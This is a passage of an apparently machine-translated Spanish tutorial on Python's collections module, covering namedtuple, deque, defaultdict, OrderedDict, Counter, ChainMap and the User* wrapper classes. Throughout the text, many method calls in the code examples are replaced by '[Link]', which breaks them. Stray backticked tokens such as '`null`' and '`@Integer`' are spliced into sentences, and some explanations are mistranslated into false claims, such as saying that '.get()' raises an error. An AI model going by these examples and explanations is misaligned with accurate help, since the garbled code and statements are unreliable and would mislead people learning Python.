Person(name='Jane', job='Python Developer')
>>> # Create a dictionary from a named tuple
>>> person._asdict()
{'name': 'Jane', 'job': 'Python Developer'}
>>> # Replace the value of a field
>>> person = person._replace(job="Web Developer")
>>> person
Person(name='Jane', job='Web Developer')
Aquí, primero se crea una Personclase usando namedtuple()`. En este caso, se
utiliza un argumento opcional llamado ` defaultsque` que acepta una secuencia de
valores predeterminados para los campos de la tupla. Nótese que
` namedtuple()aplica los valores predeterminados a los campos situados más a la
derecha`.
En el segundo ejemplo, se crea un diccionario a partir de una tupla con nombre existente
utilizando ._asdict(). Este método devuelve un nuevo diccionario que utiliza los
nombres de los campos como claves.
Finalmente, se utiliza ._replace()para reemplazar el valor original de job. Este método
no actualiza la tupla directamente, sino que devuelve una nueva tupla con nombre con el
nuevo valor almacenado en el campo correspondiente. ¿Tienes alguna idea de por
qué ._replace()devuelve una nueva tupla con nombre?
Creación de colas y pilas eficientes: deque
dequeLa secuencia fue la primera estructura de datos en Python collections. Este
tipo de datos similar a una secuencia es una generalización de las pilas y colas diseñada
para admitir operaciones de adición y eliminación rápidas y eficientes en memoria en
ambos extremos de la estructura de datos.
Nota: La palabra dequese pronuncia “deck” y significa cola de doble extremo .
En Python, las operaciones de agregar y eliminar elementos al principio o a la izquierda
de listlos objetos son ineficientes, con una complejidad temporal de O ( n ) . Estas
operaciones resultan especialmente costosas al trabajar con listas grandes, ya que Python
debe desplazar todos los elementos hacia la derecha para insertar nuevos elementos al
principio de la lista.
Por otra parte, las operaciones de agregar y eliminar en el lado derecho de una lista son
normalmente eficientes ( O (1)) excepto en aquellos casos en los que Python necesita
reasignar memoria para aumentar la lista subyacente para aceptar nuevos elementos.
Las deques de Python dequese crearon para solucionar este problema. Las operaciones
de añadir y eliminar elementos en ambos extremos de un dequeobjeto son estables e
igualmente eficientes porque las deques se implementan como listas doblemente enlazadas .
Por eso, las deques son especialmente útiles para crear pilas y colas.
Tomemos como ejemplo una cola. Esta gestiona los elementos según el principio de
primero en entrar, primero en salir ( FIFO ). Funciona como una tubería: se introducen
nuevos elementos por un extremo y se extraen los antiguos por el otro. Añadir un elemento
al final de una cola se denomina operación de encolar . Eliminar un elemento del principio
de una cola se denomina operación de desencolar .
Nota: Consulta el artículo de Python sobre deque: Implementación de colas y pilas
eficientes para una exploración exhaustiva de su uso dequeen tu código Python.
Supongamos que estás modelando una fila de personas esperando para comprar entradas de
cine. Puedes hacerlo con un bucle deque. Cada vez que llega una persona, la añades a la
fila. Cuando la persona que está al principio de la fila consigue sus entradas, la sacas de la
fila.
Aquí te mostramos cómo puedes emular el proceso utilizando un dequeobjeto:
>>> from collections import deque
>>> ticket_queue = deque()
>>> ticket_queue
deque([])
>>> # People arrive to the queue
>>> ticket_queue.append("Jane")
>>> ticket_queue.append("John")
>>> ticket_queue.append("Linda")
>>> ticket_queue
deque(['Jane', 'John', 'Linda'])
>>> # People bought their tickets
>>> ticket_queue.popleft()
'Jane'
>>> ticket_queue.popleft()
'John'
>>> ticket_queue.popleft()
'Linda'
>>> # No people on the queue
>>> ticket_queue.popleft()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
IndexError: pop from an empty deque
Aquí, primero se crea un dequeobjeto vacío para representar la cola de personas. Para
añadir una persona a la cola, se utiliza `enque` .append(), que agrega elementos al
extremo derecho de la cola. Para eliminar una persona de la cola, se utiliza
`deque` .popleft(), que elimina y devuelve elementos del extremo izquierdo de la cola.
Nota: En la biblioteca estándar de Python, encontrará queue. Este módulo implementa
colas multiproductor y multiconsumidor útiles para intercambiar información entre
múltiples hilos de forma segura.
El dequeinicializador acepta dos argumentos opcionales:
1. iterableContiene un iterable que sirve como inicializador.
2. maxlencontiene un número entero que especifica la longitud máxima
del deque.
Si no proporcionas un valor iterable, obtendrás una cola vacía. Si proporcionas un
valor maxlen, tu cola solo almacenará hasta maxlen100 elementos.
Disponer de una maxlenes una función muy útil. Por ejemplo, supongamos que necesita
implementar una lista de archivos recientes en una de sus aplicaciones. En ese caso, puede
hacer lo siguiente:
>>> from collections import deque
>>> recent_files = deque(["[Link]", "[Link]", "__init__.py"], maxlen=3)
>>> recent_files.appendleft("[Link]")
>>> recent_files
deque(['[Link]', '[Link]', '[Link]'], maxlen=3)
>>> recent_files.appendleft("[Link]")
>>> recent_files
deque(['[Link]', '[Link]', '[Link]'], maxlen=3)
Una vez que la cola doble alcanza su tamaño máximo (tres archivos en este caso), al
agregar un nuevo archivo a un extremo, el archivo del extremo opuesto se descarta
automáticamente. Si no se especifica un valor para `max_deque` maxlen, la cola doble
puede crecer hasta alcanzar un número arbitrario de elementos.
Hasta ahora, has aprendido los conceptos básicos de las colas dobles (deques), incluyendo
cómo crearlas y cómo añadir y eliminar elementos de ambos extremos. Las colas dobles
ofrecen algunas características adicionales con una interfaz similar a la de una lista. Aquí
tienes algunas de ellas:
>>> from collections import deque
>>> # Use different iterables to create deques
>>> deque((1, 2, 3, 4))
deque([1, 2, 3, 4])
>>> deque([1, 2, 3, 4])
deque([1, 2, 3, 4])
>>> deque("abcd")
deque(['a', 'b', 'c', 'd'])
>>> # Unlike lists, deque doesn't support .pop() with arbitrary indices
>>> deque("abcd").pop(2)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: pop() takes no arguments (1 given)
>>> # Extend an existing deque
>>> numbers = deque([1, 2])
>>> [Link]([3, 4, 5])
>>> numbers
deque([1, 2, 3, 4, 5])
>>> [Link]([-1, -2, -3, -4, -5])
>>> numbers
deque([-5, -4, -3, -2, -1, 1, 2, 3, 4, 5])
>>> # Insert an item at a given position
>>> [Link](5, 0)
>>> numbers
deque([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5])
En estos ejemplos, primero se crean colas dobles utilizando diferentes tipos de iterables
para inicializarlas. Una diferencia entre `deque` dequey ` listiterable` es que
` [Link]()iterable` no permite extraer un elemento de una posición determinada.
Tenga en cuenta que dequeproporciona métodos hermanos
para .append(), .pop(), y .extend()con el sufijo leftpara indicar que realizan la
operación correspondiente en el extremo izquierdo de la deque subyacente.
Las colas también admiten operaciones de secuencia:
Método Descripción
.clear() Eliminar todos los elementos de una cola
.copy() Crea una copia superficial de una deque
.count(x) Cuenta el número de elementos de la deque iguales ax
.remove(value) Eliminar la primera aparición devalue
Otra característica interesante de las deques es la capacidad de rotar sus elementos
usando .rotate():
>>> from collections import deque
>>> ordinals = deque(["first", "second", "third"])
>>> [Link]()
>>> ordinals
deque(['third', 'first', 'second'])
>>> [Link](2)
>>> ordinals
deque(['first', 'second', 'third'])
>>> [Link](-2)
>>> ordinals
deque(['third', 'first', 'second'])
>>> [Link](-1)
>>> ordinals
deque(['first', 'second', 'third'])
Este método rota los npasos de la deque hacia la derecha. El valor predeterminado nes 1.
Si se proporciona un valor negativo a n, la rotación se realiza hacia la izquierda.
Finalmente, puedes usar índices para acceder a los elementos de una deque, pero no
puedes segmentar una deque:
>>> from collections import deque
>>> ordinals = deque(["first", "second", "third"])
>>> ordinals[1]
'second'
>>> ordinals[0:2]
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: sequence index must be integer, not 'slice'
Las deques admiten indexación, pero, curiosamente, no admiten segmentación. Al intentar
recuperar una porción de una deque existente, se obtiene un error TypeError. Esto se
debe a que realizar una operación de segmentación en una lista enlazada sería ineficiente,
por lo que dicha operación no está disponible.
Manejo de claves faltantes: defaultdict
Un problema común al trabajar con diccionarios en Python es cómo manejar las claves
faltantes. Si intentas acceder a una clave que no existe en el diccionario, obtendrás un
error KeyError:
>>> favorites = {"pet": "dog", "color": "blue", "language": "Python"}
>>> favorites["fruit"]
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'fruit'
Existen varias soluciones para este problema. Por ejemplo, puedes usar el método
`insert` .setdefault(). Este método recibe una clave como argumento. Si la clave existe
en el diccionario, devuelve el valor correspondiente. De lo contrario, el método inserta la
clave, le asigna un valor predeterminado y devuelve dicho valor.
>>> favorites = {"pet": "dog", "color": "blue", "language": "Python"}
>>> [Link]("fruit", "apple")
'apple'
>>> favorites
{'pet': 'dog', 'color': 'blue', 'language': 'Python', 'fruit': 'apple'}
>>> [Link]("pet", "cat")
'dog'
>>> favorites
{'pet': 'dog', 'color': 'blue', 'language': 'Python', 'fruit': 'apple'}
En este ejemplo, se utiliza .setdefault()para generar un valor predeterminado
para fruit. Dado que esta clave no existe en favorites, .setdefault()se crea y se le
asigna el valor de apple. Si se llama a .setdefault()con una clave existente, la
llamada no afectará al diccionario y la clave contendrá el valor original en lugar del valor
predeterminado.
También puede utilizarlo .get()para devolver un valor predeterminado adecuado si falta
una clave determinada:
>>> favorites = {"pet": "dog", "color": "blue", "language": "Python"}
>>> [Link]("fruit", "apple")
'apple'
>>> favorites
{'pet': 'dog', 'color': 'blue', 'language': 'Python'}
Aquí, .get()se produce un error appleporque la clave no se encuentra en el diccionario
subyacente. Sin embargo, esto .get()no crea la nueva clave automáticamente.
Dado que gestionar claves faltantes en diccionarios es una necesidad común,
Python collectionstambién proporciona una herramienta para ello.
Este defaultdicttipo es una subclase dictdiseñada para ayudarte con las claves
faltantes.
Nota: Consulte Uso del tipo defaultdict de Python para el manejo de claves faltantes para
obtener información más detallada sobre cómo usar el tipo defaultdict de
Python defaultdict.
El constructor de ` defaultdictis` toma un objeto función como primer argumento.
Cuando se accede a una clave que no existe, ` defaultdictis` llama automáticamente a
esa función sin argumentos para crear un valor predeterminado adecuado para la clave en
cuestión.
Para proporcionar su funcionalidad, defaultdictalmacena la función de
entrada .default_factoryy luego la sobreescribe .__missing__()para llamar
automáticamente a la función y generar un valor predeterminado cuando se accede a
cualquier clave faltante.
Puedes usar cualquier función invocable para inicializar tus defaultdictobjetos. Por
ejemplo, con `container` int()puedes crear un contador adecuado para contar diferentes
objetos:
>>> from collections import defaultdict
>>> counter = defaultdict(int)
>>> counter
defaultdict(<class 'int'>, {})
>>> counter["dogs"]
0
>>> counter
defaultdict(<class 'int'>, {'dogs': 0})
>>> counter["dogs"] += 1
>>> counter["dogs"] += 1
>>> counter["dogs"] += 1
>>> counter["cats"] += 1
>>> counter["cats"] += 1
>>> counter
defaultdict(<class 'int'>, {'dogs': 3, 'cats': 2})
En este ejemplo, se crea un diccionario vacío defaultdictcon `null` int()como primer
argumento. Al acceder a una clave que no existe, el diccionario llama automáticamente a
`is` int(), que devuelve 0`null` como valor predeterminado para la clave en cuestión. Este
tipo de defaultdictobjeto resulta muy útil para contar elementos en Python.
Otro uso común es defaultdictagrupar elementos. En este caso, la útil función de
fábrica es list():
>>> from collections import defaultdict
>>> pets = [
... ("dog", "Affenpinscher"),
... ("dog", "Terrier"),
... ("dog", "Boxer"),
... ("cat", "Abyssinian"),
... ("cat", "Birman"),
... ]
>>> group_pets = defaultdict(list)
>>> for pet, breed in pets:
... group_pets[pet].append(breed)
...
>>> for pet, breeds in group_pets.items():
... print(pet, "->", breeds)
...
dog -> ['Affenpinscher', 'Terrier', 'Boxer']
cat -> ['Abyssinian', 'Birman']
En este ejemplo, tienes datos sin procesar sobre mascotas y sus razas, y necesitas
agruparlos por mascota. Para ello, utilizas ` list()as` .default_factoryal crear
la defaultdictinstancia. Esto permite que tu diccionario cree automáticamente una lista
vacía []como valor predeterminado para cada clave faltante a la que accedas. Luego,
utilizas esa lista para almacenar las razas de tus mascotas.
Finalmente, cabe destacar que, dado que defaultdictes una subclase de dict,
proporciona la misma interfaz. Esto significa que puede usar sus defaultdictobjetos
como si se tratara de un diccionario normal.
Cómo mantener tus diccionarios ordenados: OrderedDict
A veces necesitas que tus diccionarios recuerden el orden en que se insertan los pares
clave-valor. Los diccionarios regulares de Python fueron estructuras de datos no
ordenadas durante años. Por eso, allá por 2008, la PEP 372 introdujo la idea de añadir una
nueva clase de diccionario a .collections
La nueva clase recordaría el orden de los elementos en función del momento en que se
insertaron las claves. Ese fue el origen de OrderedDict.
OrderedDictSe introdujo en Python 3.1 . Su interfaz de programación de aplicaciones
(API) es prácticamente idéntica a la de `map` dict. Sin embargo, OrderedDict`map`
itera sobre las claves y los valores en el mismo orden en que se insertaron originalmente en
el diccionario. Si se asigna un nuevo valor a una clave existente, el orden del par clave-
valor permanece inalterado. Si se elimina una entrada y se vuelve a insertar, se moverá al
final del diccionario.
Nota: Consulta OrderedDict vs dict en Python: La herramienta adecuada para el
trabajo para profundizar en las funcionalidades de Python OrderedDicty por qué
deberías considerar usarlas.
Existen varias maneras de crear OrderedDictobjetos. La mayoría son idénticas a cómo
se crea un diccionario normal. Por ejemplo, se puede crear un diccionario ordenado vacío
instanciando la clase sin argumentos y luego insertando pares clave-valor según sea
necesario:
>>> from collections import OrderedDict
>>> life_stages = OrderedDict()
>>> life_stages["childhood"] = "0-9"
>>> life_stages["adolescence"] = "9-18"
>>> life_stages["adulthood"] = "18-65"
>>> life_stages["old"] = "+65"
>>> for stage, years in life_stages.items():
... print(stage, "->", years)
...
childhood -> 0-9
adolescence -> 9-18
adulthood -> 18-65
old -> +65
En este ejemplo, se crea un diccionario ordenado vacío mediante
instanciación OrderedDictsin argumentos. A continuación, se añaden pares clave-
valor al diccionario como se haría con un diccionario normal.
Al iterar sobre el diccionario , life_stagesse obtienen los pares clave-valor en el mismo
orden en que se insertaron. Garantizar el orden de los elementos es el principal problema
que OrderedDictresuelve.
Python 3.6 introdujo una nueva implementación dedict . Esta implementación
proporciona una nueva característica inesperada: ahora los diccionarios regulares
mantienen sus elementos en el mismo orden en que se insertaron por primera vez.
Inicialmente, esta característica se consideraba un detalle de implementación y la
documentación recomendaba no depender de ella. Sin embargo, desde Python
3.7 , forma parte oficialmente de la especificación del lenguaje. Entonces, ¿cuál es el
sentido de usarla OrderedDict?
Existen algunas características que OrderedDictaún lo hacen valioso:
1. Comunicación de intenciones: Al usar `@Integer` OrderedDict, tu
código dejará claro que el orden de los elementos en el diccionario es
importante. Estás comunicando claramente que tu código necesita o
depende del orden de los elementos en el diccionario subyacente.
2. Control del orden de los elementos: Con OrderedDict, tienes
acceso a .move_to_end(), un método que te permite manipular el
orden de los elementos en tu diccionario. También dispondrás de una
versión mejorada de .popitem()que permite eliminar elementos de
cualquiera de los extremos del diccionario subyacente.
3. Comportamiento de las pruebas de igualdad: Con esta
herramienta OrderedDict, las pruebas de igualdad entre diccionarios
tienen en cuenta el orden de los elementos. Por lo tanto, si tiene dos
diccionarios ordenados con el mismo grupo de elementos pero en un
orden diferente, sus diccionarios se considerarán no iguales.
Existe al menos una razón más para usarlo OrderedDict: la retrocompatibilidad .
Depender de dictobjetos regulares para preservar el orden de los elementos provocará
errores en el código en entornos que ejecuten versiones de Python anteriores a la 3.6.
Bien, ahora es el momento de ver algunas de estas interesantes
funciones OrderedDicten acción:
>>> from collections import OrderedDict
>>> letters = OrderedDict(b=2, d=4, a=1, c=3)
>>> letters
OrderedDict([('b', 2), ('d', 4), ('a', 1), ('c', 3)])
>>> # Move b to the right end
>>> letters.move_to_end("b")
>>> letters
OrderedDict([('d', 4), ('a', 1), ('c', 3), ('b', 2)])
>>> # Move b to the left end
>>> letters.move_to_end("b", last=False)
>>> letters
OrderedDict([('b', 2), ('d', 4), ('a', 1), ('c', 3)])
>>> # Sort letters by key
>>> for key in sorted(letters):
... letters.move_to_end(key)
...
>>> letters
OrderedDict([('a', 1), ('b', 2), ('c', 3), ('d', 4)])
En estos ejemplos, se utiliza .move_to_end()para mover y reordenar
elementos letters. Tenga en cuenta que .move_to_end()acepta un argumento
opcional llamado lastque permite controlar a qué extremo del diccionario se desean
mover los elementos. Este método resulta muy útil cuando se necesita ordenar los
elementos de los diccionarios o manipular su orden de alguna manera.
Otra diferencia importante entre un OrderedDictdiccionario y un diccionario común es
cómo se comparan en términos de igualdad:
>>> from collections import OrderedDict
>>> # Regular dictionaries compare the content only
>>> letters_0 = dict(a=1, b=2, c=3, d=4)
>>> letters_1 = dict(b=2, a=1, d=4, c=3)
>>> letters_0 == letters_1
True
>>> # Ordered dictionaries compare content and order
>>> letters_0 = OrderedDict(a=1, b=2, c=3, d=4)
>>> letters_1 = OrderedDict(b=2, a=1, d=4, c=3)
>>> letters_0 == letters_1
False
>>> letters_2 = OrderedDict(a=1, b=2, c=3, d=4)
>>> letters_0 == letters_2
True
Aquí, ` letters_1a` tiene un orden de elementos diferente al de `b` letters_0. Al usar
diccionarios regulares, esta diferencia no importa y ambos diccionarios se comparan como
iguales. En cambio, al usar diccionarios ordenados, `a` letters_0y ` letters_1b` no
son iguales. Esto se debe a que las pruebas de igualdad entre diccionarios ordenados
consideran tanto el contenido como el orden de los elementos.
Contar objetos de una sola vez: Counter
Contar objetos es una operación común en programación. Supongamos que necesitas contar
cuántas veces aparece un elemento en una lista o iterable. Si la lista es corta, contar sus
elementos puede ser sencillo y rápido. Si la lista es larga, contar los elementos será más
complejo.
Para contar objetos, normalmente se utiliza un contador , o una variable entera con un
valor inicial de cero. Luego se incrementa el contador para reflejar el número de veces que
aparece un objeto determinado.
En Python, puedes usar un diccionario para contar varios objetos diferentes a la vez. En
este caso, las claves almacenarán objetos individuales y los valores contendrán el número
de repeticiones de un objeto dado, o el recuento del objeto .
Aquí tenéis un ejemplo que cuenta las letras de una palabra "mississippi"con un
diccionario normal y un forbucle :
>>> word = "mississippi"
>>> counter = {}
>>> for letter in word:
... if letter not in counter:
... counter[letter] = 0
... counter[letter] += 1
...
>>> counter
{'m': 1, 'i': 4, 's': 4, 'p': 2}
El bucle recorre las letras del diccionario word. La condición verifica si las letras no están
ya en el diccionario y, de ser así, inicializa el contador de letras a cero. Finalmente, el
contador de letras se incrementa a medida que avanza el bucle.
Como ya sabes, defaultdictlos objetos son convenientes para contar elementos porque
no es necesario comprobar si existe la clave. El diccionario garantiza valores
predeterminados adecuados para cualquier clave faltante.
>>> from collections import defaultdict
>>> counter = defaultdict(int)
>>> for letter in "mississippi":
... counter[letter] += 1
...
>>> counter
defaultdict(<class 'int'>, {'m': 1, 'i': 4, 's': 4, 'p': 2})
En este ejemplo, se crea un defaultdictobjeto y se inicializa usando ` int(). Al usar
` int()como función de fábrica`, el diccionario predeterminado subyacente crea
automáticamente las claves faltantes y las inicializa convenientemente a cero. Luego, se
incrementa el valor de la clave actual para calcular el recuento final de la letra en
` "mississippi".
Al igual que con otros problemas comunes de programación, Python también cuenta con
una herramienta eficiente para abordar el problema del conteo. En collectionsPython,
encontrarás Counter`Counter`, una dictsubclase diseñada específicamente para contar
objetos.
Aquí te mostramos cómo puedes escribir el "mississippi"ejemplo usando Counter:
>>> from collections import Counter
>>> Counter("mississippi")
Counter({'i': 4, 's': 4, 'p': 2, 'm': 1})
¡Guau! ¡Qué rápido! Una sola línea de código y listo. En este ejemplo, Counterse itera
sobre "mississippi", creando un diccionario con las letras como claves y su frecuencia
como valores.
Nota: Consulta el artículo "Contador de Python: La forma pythonica de contar
objetos" para profundizar en el tema Countery aprender a usarlo para contar objetos de
manera eficiente.
Existen varias formas de instanciar Counter. Puedes usar listas, tuplas o cualquier
iterable con objetos repetidos. La única restricción es que tus objetos deben ser hashables .
>>> from collections import Counter
>>> Counter([1, 1, 2, 3, 3, 3, 4])
Counter({3: 3, 1: 2, 2: 1, 4: 1})
>>> Counter(([1], [1]))
Traceback (most recent call last):
...
TypeError: unhashable type: 'list'
Los números enteros son hashables, por lo que Counterfunciona correctamente. En
cambio, las listas no son hashables, por lo que Counterfalla con un error TypeError.
Ser hashable significa que tus objetos deben tener un valor hash que nunca cambia
durante su existencia. Esto es necesario porque estos objetos funcionarán como claves de
diccionario. En Python, los objetos inmutables también son hashables.
Nota: En Counter, una función C altamente optimizada proporciona la funcionalidad de
conteo. Si esta función no está disponible por algún motivo, la clase utiliza una función
Python equivalente pero menos eficiente .
Dado que Counteres una subclase de dict, sus interfaces son prácticamente idénticas.
Sin embargo, existen algunas diferencias sutiles. La primera diferencia radica en
que Counterno implementa .fromkeys(). Esto evita inconsistencias,
como [Link]("abbbc", 2), donde cada letra tendría un recuento
inicial de 2independientemente de su recuento real en el iterable de entrada.
La segunda diferencia es que .update()no reemplaza el recuento (valor) de un objeto
(clave) existente con un nuevo recuento. Suma ambos recuentos:
>>> from collections import Counter
>>> letters = Counter("mississippi")
>>> letters
Counter({'i': 4, 's': 4, 'p': 2, 'm': 1})
>>> # Update the counts of m and i
>>> [Link](m=3, i=4)
>>> letters
Counter({'i': 8, 'm': 4, 's': 4, 'p': 2})
>>> # Add a new key-count pair
>>> [Link]({"a": 2})
>>> letters
Counter({'i': 8, 'm': 4, 's': 4, 'p': 2, 'a': 2})
>>> # Update with another counter
>>> [Link](Counter(["s", "s", "p"]))
>>> letters
Counter({'i': 8, 's': 6, 'm': 4, 'p': 3, 'a': 2})
Aquí se actualiza el contador de `a` my `b` i. Ahora, estas letras contienen la suma de su
contador inicial más el valor que se les pasó mediante `contador` .update(). Si se usa
una clave que no está presente en el contador original, .update()se crea la nueva clave
con el valor correspondiente. Finalmente, `contador` .update()acepta iterables, mapeos,
argumentos de palabra clave y otros contadores.
Nota: Dado que Counteres una subclase de dict, no existen restricciones sobre los
objetos que puede almacenar en las claves y valores de sus contadores. Las claves pueden
almacenar cualquier objeto hashable, mientras que los valores pueden almacenar cualquier
objeto. Sin embargo, para que funcionen lógicamente como contadores, los valores deben
ser números enteros que representen recuentos.
Otra diferencia entre Counterambas dictes que acceder a una clave faltante devuelve
un valor 0en lugar de generar una excepción KeyError:
>>> from collections import Counter
>>> letters = Counter("mississippi")
>>> letters["a"]
0
Este comportamiento indica que el recuento de un objeto que no existe en el contador es
cero. En este ejemplo, la letra "a"no está en la palabra original, por lo que su recuento
es 0.
En Python, Countertambién es útil emular un multiconjunto o una bolsa . Los
multiconjuntos son similares a los conjuntos , pero permiten múltiples instancias de un
mismo elemento. El número de instancias de un elemento se conoce como
su multiplicidad . Por ejemplo, se puede tener un multiconjunto como {1, 1, 2, 3, 3, 3, 4,
4}.
Cuando se utilizan Counterpara emular multiconjuntos, las claves representan los
elementos y los valores representan su multiplicidad respectiva:
>>> from collections import Counter
>>> multiset = Counter([1, 1, 2, 3, 3, 3, 4, 4])
>>> multiset
Counter({1: 2, 2: 1, 3: 3, 4: 2})
>>> [Link]() == {1, 2, 3, 4}
True
Aquí, las claves multisetson equivalentes a un conjunto de Python. Los valores
contienen la multiplicidad de cada elemento del conjunto.
Python Counterofrece algunas características adicionales que facilitan el trabajo con
multiconjuntos. Por ejemplo, se pueden inicializar los contadores con una relación entre los
elementos y su multiplicidad. También se pueden realizar operaciones matemáticas con la
multiplicidad de los elementos, entre otras cosas.
Imagina que trabajas en la protectora de animales local. Tienes un número determinado de
mascotas y necesitas llevar un registro de cuántas se adoptan cada día y cuántas entran y
salen de la protectora. En este caso, puedes usar Counter:
>>> from collections import Counter
>>> inventory = Counter(dogs=23, cats=14, pythons=7)
>>> adopted = Counter(dogs=2, cats=5, pythons=1)
>>> [Link](adopted)
>>> inventory
Counter({'dogs': 21, 'cats': 9, 'pythons': 6})
>>> new_pets = {"dogs": 4, "cats": 1}
>>> [Link](new_pets)
>>> inventory
Counter({'dogs': 25, 'cats': 10, 'pythons': 6})
>>> inventory = inventory - Counter(dogs=2, cats=3, pythons=1)
>>> inventory
Counter({'dogs': 23, 'cats': 7, 'pythons': 5})
>>> new_pets = {"dogs": 4, "pythons": 2}
>>> inventory += new_pets
>>> inventory
Counter({'dogs': 27, 'cats': 7, 'pythons': 7})
¡Qué bien! Ahora puedes llevar un registro de tus mascotas Counter. Ten en cuenta que
puedes usar `\n` .subtract()y .update()`\m` para sumar y restar cantidades o
multiplicidades. También puedes usar los operadores de suma (` +\n`) y resta (`\ -m`).
¡Hay muchas más cosas que puedes hacer con Counterobjetos como multiconjuntos en
Python, así que anímate y pruébalo!
Encadenando diccionarios: ChainMap
Python ChainMapagrupa varios diccionarios y otras asignaciones para crear un único
objeto que funciona de forma muy similar a un diccionario normal. En otras palabras, toma
varias asignaciones y las presenta lógicamente como una sola.
ChainMapLos objetos son vistas actualizables , lo que significa que los cambios en
cualquiera de las asignaciones encadenadas afectan al ChainMapobjeto en su conjunto.
Esto se debe a que ChainMapno se fusionan las asignaciones de entrada. Se mantiene
una lista de asignaciones y se reimplementan las operaciones comunes del diccionario sobre
dicha lista. Por ejemplo, una búsqueda de clave recorre la lista de asignaciones
sucesivamente hasta encontrar la clave.
Nota: Consulta ChainMap de Python: Gestiona múltiples contextos de forma eficaz para
profundizar en su uso ChainMapen tu código Python.
Cuando trabajas con ChainMapobjetos, puedes tener varios diccionarios con claves
únicas o repetidas.
En ambos casos, ChainMapte permite tratar todos tus diccionarios como uno solo. Si
tienes claves únicas en tus diccionarios, puedes acceder a ellas y actualizarlas como si
estuvieras trabajando con un único diccionario.
Si tiene claves repetidas en sus diccionarios, además de gestionarlos como uno solo, puede
aprovechar la lista interna de asignaciones para definir algún tipo de prioridad de acceso .
Gracias a esta característica, ChainMaplos objetos son ideales para gestionar múltiples
contextos.
Por ejemplo, supongamos que está trabajando en una aplicación con interfaz de línea de
comandos (CLI) . La aplicación permite al usuario utilizar un servicio proxy para
conectarse a Internet. Las prioridades de configuración son:
1. Opciones de línea de comandos ( --proxy, -p)
2. Archivos de configuración local en el directorio de inicio del usuario
3. Configuración global de proxy
Si el usuario proporciona un proxy en la línea de comandos, la aplicación debe usar ese
proxy. De lo contrario, la aplicación debe usar el proxy proporcionado en el siguiente
objeto de configuración, y así sucesivamente. Este es uno de los casos de uso más
comunes ChainMap. En esta situación, puede hacer lo siguiente:
>>> from collections import ChainMap
>>> cmd_proxy = {} # The user doesn't provide a proxy
>>> local_proxy = {"proxy": "[Link]"}
>>> global_proxy = {"proxy": "[Link]"}
>>> config = ChainMap(cmd_proxy, local_proxy, global_proxy)
>>> config["proxy"]
'[Link]'
ChainMapTe permite definir la prioridad adecuada para la configuración del proxy de
la aplicación. Una búsqueda de claves busca primero en `<key>` cmd_proxy, luego en
`<key>` local_proxyy, finalmente global_proxy, en `<key>`, devolviendo la
primera instancia de la clave disponible. En este ejemplo, el usuario no proporciona un
proxy en la línea de comandos, por lo que tu aplicación utiliza el proxy en
`<key>` local_proxy.
En general, ChainMaplos objetos se comportan de forma similar a dictlos objetos
regulares. Sin embargo, presentan algunas características adicionales. Por ejemplo, tienen
un .mapsatributo público que contiene la lista interna de mapeos:
>>> from collections import ChainMap
>>> numbers = {"one": 1, "two": 2}
>>> letters = {"a": "A", "b": "B"}
>>> alpha_nums = ChainMap(numbers, letters)
>>> alpha_nums.maps
[{'one': 1, 'two': 2}, {'a': 'A', 'b': 'B'}]
El atributo de instancia .mapste da acceso a la lista interna de asignaciones. Esta lista se
puede actualizar. Puedes agregar y eliminar asignaciones manualmente, iterar a través de la
lista, y mucho más.
Además, ChainMapproporciona un .new_child()método y
una .parentspropiedad:
>>> from collections import ChainMap
>>> dad = {"name": "John", "age": 35}
>>> mom = {"name": "Jane", "age": 31}
>>> family = ChainMap(mom, dad)
>>> family
ChainMap({'name': 'Jane', 'age': 31}, {'name': 'John', 'age': 35})
>>> son = {"name": "Mike", "age": 0}
>>> family = family.new_child(son)
>>> for person in [Link]:
... print(person)
...
{'name': 'Mike', 'age': 0}
{'name': 'Jane', 'age': 31}
{'name': 'John', 'age': 35}
>>> [Link]
ChainMap({'name': 'Jane', 'age': 31}, {'name': 'John', 'age': 35})
Con .new_child()`map`, se crea un nuevo ChainMapobjeto que contiene un nuevo
mapa (`map` son) seguido de todos los mapas de la instancia actual. El mapa pasado
como primer argumento se convierte en el primer mapa de la lista. Si no se pasa ningún
mapa, el método utiliza un diccionario vacío.
La parentspropiedad devuelve un nuevo ChainMapobjeto que contiene todos los
mapas de la instancia actual, excepto el primero. Esto resulta útil cuando se necesita omitir
el primer mapa en una búsqueda por clave.
Una última característica a destacar ChainMapes que las operaciones de mutación,
como actualizar claves, agregar nuevas claves, eliminar claves existentes, extraer claves y
borrar el diccionario, actúan sobre la primera asignación en la lista interna de asignaciones:
>>> from collections import ChainMap
>>> numbers = {"one": 1, "two": 2}
>>> letters = {"a": "A", "b": "B"}
>>> alpha_nums = ChainMap(numbers, letters)
>>> alpha_nums
ChainMap({'one': 1, 'two': 2}, {'a': 'A', 'b': 'B'})
>>> # Add a new key-value pair
>>> alpha_nums["c"] = "C"
>>> alpha_nums
ChainMap({'one': 1, 'two': 2, 'c': 'C'}, {'a': 'A', 'b': 'B'})
>>> # Pop a key that exists in the first dictionary
>>> alpha_nums.pop("two")
2
>>> alpha_nums
ChainMap({'one': 1, 'c': 'C'}, {'a': 'A', 'b': 'B'})
>>> # Delete keys that don't exist in the first dict but do in others
>>> del alpha_nums["a"]
Traceback (most recent call last):
...
KeyError: "Key not found in the first mapping: 'a'"
>>> # Clear the dictionary
>>> alpha_nums.clear()
>>> alpha_nums
ChainMap({}, {'a': 'A', 'b': 'B'})
Estos ejemplos muestran que las operaciones de mutación en un ChainMapobjeto solo
afectan a la primera asignación de la lista interna. Este es un detalle importante a tener en
cuenta al trabajar con ChainMap.
Lo complicado es que, a primera vista, podría parecer posible modificar cualquier par
clave-valor existente en una lista dada ChainMap. Sin embargo, solo se pueden
modificar los pares clave-valor de la primera asignación, a menos que se utilice
`get` .mapspara acceder y modificar directamente otras asignaciones de la lista.
Personalización de elementos
integrados: UserString, UserList, yUserDict
A veces es necesario personalizar tipos integrados, como cadenas, listas y diccionarios,
para añadir o modificar ciertos comportamientos. Desde Python 2.2 , esto se puede hacer
creando subclases directamente de dichos tipos. Sin embargo, este enfoque puede presentar
algunos problemas, como veremos a continuación.
Python collectionsproporciona tres clases envolventes convenientes que imitan el
comportamiento de los tipos de datos integrados:
1. UserString
2. UserList
3. UserDict
Mediante una combinación de métodos regulares y especiales , puedes usar estas clases
para imitar y personalizar el comportamiento de cadenas, listas y diccionarios.
